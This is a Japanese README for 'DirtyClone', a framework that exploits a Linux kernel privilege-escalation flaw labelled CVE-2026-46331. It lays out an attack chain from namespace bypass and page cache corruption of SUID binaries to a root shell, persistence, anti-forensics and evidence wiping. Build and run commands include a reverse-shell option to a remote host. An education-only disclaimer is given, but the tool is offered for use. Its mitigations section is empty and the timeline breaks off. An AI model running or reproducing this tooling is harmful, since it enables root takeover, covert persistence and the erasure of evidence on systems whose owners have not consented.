DirtyClone エクスプロイトフレームワーク
CVE-2026-46331 — Linux カーネルローカル権限昇格
TC pedit + IPsec TEE ページキャッシュ破損 · 影響を受けるカーネル: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝

⚠️ 教育および研究目的のみ
このフレームワークは、自分が所有する隔離されたラボ環境でのみ使用してください
または、明示的な書面によるテスト許可を得ている環境でのみ使用してください。
不正使用は違法かつ非倫理的行為です。
📋 目次
🔬 脆弱性の概要
CVE-2026-46331 は、TC (cls_act) pedit アクションと IPsec TEE ベースのパケット複製間の競合状態に起因する、Linux カーネル (≤ 6.12.9) のローカル権限昇格脆弱性です。
根本原因
パケットが TC 出力パスを通過し、IHL = 15 を設定する pedit アクションがある場合、カーネルの IPsec サブシステムは、計算された IP ペイロードオフセットが実際のパケット境界を超える不正な形式のパケットを受信します。同時の sendfile(2) 操作の下で、この不一致により、権限のないユーザー (CAP_NET_ADMIN を持つユーザー名前空間内) が任意のファイル (SUID バイナリを含む) の読み取り専用ページキャッシュエントリを破損できるようになります。
影響
🔗 攻撃チェーン
権限のないユーザー (UID=1000)
│
▼
[1] 偵察
├─ カーネルバージョンチェック
├─ userns 可用性
└─ ターゲットバイナリのプロファイリング
│
▼
[2] 名前空間バイパス
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor プロファイルホッピング (フォールバック)
└─ CAP_NET_ADMIN 取得
│
▼
[3] ネットワークインフラ
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] ページキャッシュ破損
├─ sendfile → pedit trigger
├─ ページキャッシュエントリ破損
└─ 読み取り専用バイナリに書き込まれたシェルコード
│
▼
[5] 権限昇格
└─ execve(SUID バイナリ) → ルートシェル
│
▼
[6-8] ポストエクスプロイト
├─ 永続化 (6 つのメカニズム)
├─ 回避 / アンチフォレンジック
└─ 証拠消去
│
▼
🎯 ルートシェル (UID=0 EUID=0)
📁 プロジェクト構造
dirtyclone-exploit/
├── Makefile # ビルドシステム
├── README.md # このファイル
├── LICENSE # MIT ライセンス
│
├── include/
│ ├── exploit.h # コアタイプ、フラグ、プロトタイプ
│ ├── packet_engine.h # パケット生成エンジン API
│ ├── memory_ops.h # ページキャッシュ破損 API
│ └── persistence.h # 永続化メカニズム API
│
├── src/
│ ├── main.c # フレームワークエントリポイント
│ ├── stage_env_analysis.c # フェーズ 1: 偵察
│ ├── stage_namespace_bypass.c # フェーズ 2: userns バイパス
│ ├── stage_network_setup.c # フェーズ 3: TC/IPsec セットアップ
│ ├── stage_page_cache_corrupt.c # フェーズ 4: コアエクスプロイト
│ ├── stage_privilege_escalation.c # フェーズ 5: LPE
│ ├── stage_persistence.c # フェーズ 6: 永続化
│ ├── stage_evasion.c # フェーズ 7: アンチフォレンジック
│ ├── stage_cleanup.c # フェーズ 8: 証拠消去
│ ├── memory_ops.c # ページキャッシュプリミティブ
│ ├── packet_engine.c # 生パケット生成
│ └── persistence.c # 永続化実装
│
├── modules/
│ ├── packet_craft.py # Python パケットクラフター (Scapy)
│ └── exploit_analyzer.py # エクスプロイト前解析ツール
│
├── scripts/
│ ├── setup_env.sh # 依存関係のインストール + ビルド
│ ├── cleanup.sh # システムクリーンアップ
│ └── detect_targets.sh # 脆弱性バイナリスキャナー
│
└── payloads/
└── README.md # ペイロードディレクトリ情報
⚙️ 要件
コンパイル時
gcc ≥ 10
make
libcap-dev / libcap-devel
実行時 (Linux ターゲット)
- Kernel ≤ 6.12.9
iproute2 (tc, ip)
iptables
- 権限のないユーザー名前空間が有効
Python モジュール (オプション)
🔧 ビルドとインストール
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
🚀 使用方法
# ヘルプを表示
./bin/dirtyclone --help
# ドライラン (解析のみ、エクスプロイトなし)
./bin/dirtyclone --test
# 基本エクスプロイト (デフォルトターゲット: /usr/bin/su)
sudo ./bin/dirtyclone
# ステルス + 永続化によるカスタムターゲット
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# リバースシェル
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# まず脆弱性のあるターゲットを検出
bash scripts/detect_targets.sh
🐍 Python モジュール
exploit_analyzer.py — エクスプロイト前偵察
# デフォルトターゲットの分析
python3 modules/exploit_analyzer.py
# カスタムターゲット
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# 自動化のための JSON 出力
python3 modules/exploit_analyzer.py --json
# すべての SUID バイナリをスキャン
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — 生パケットトリガー
# オフセット 0x1234 でエクスプロイトパケットを送信
sudo python3 modules/packet_craft.py --offset 0x1234
# カスタムインターフェースとパケット数
sudo python3 modules/packet_craft.py --iface eth0 --count 20
🛡️ 防御策
📅 タイムライン
| 日付 | イベント |
|---|
| 2026-01-15 | カーネル監査中に脆弱性を発見 |
| 2026-02-03 |
📚 参考文献
👤 著者
VulnQuest · セキュリティ研究
このリポジトリは教育目的のみで提供されています。
すべてのエクスプロイトコードは、許可されたラボ環境での使用を目的としています。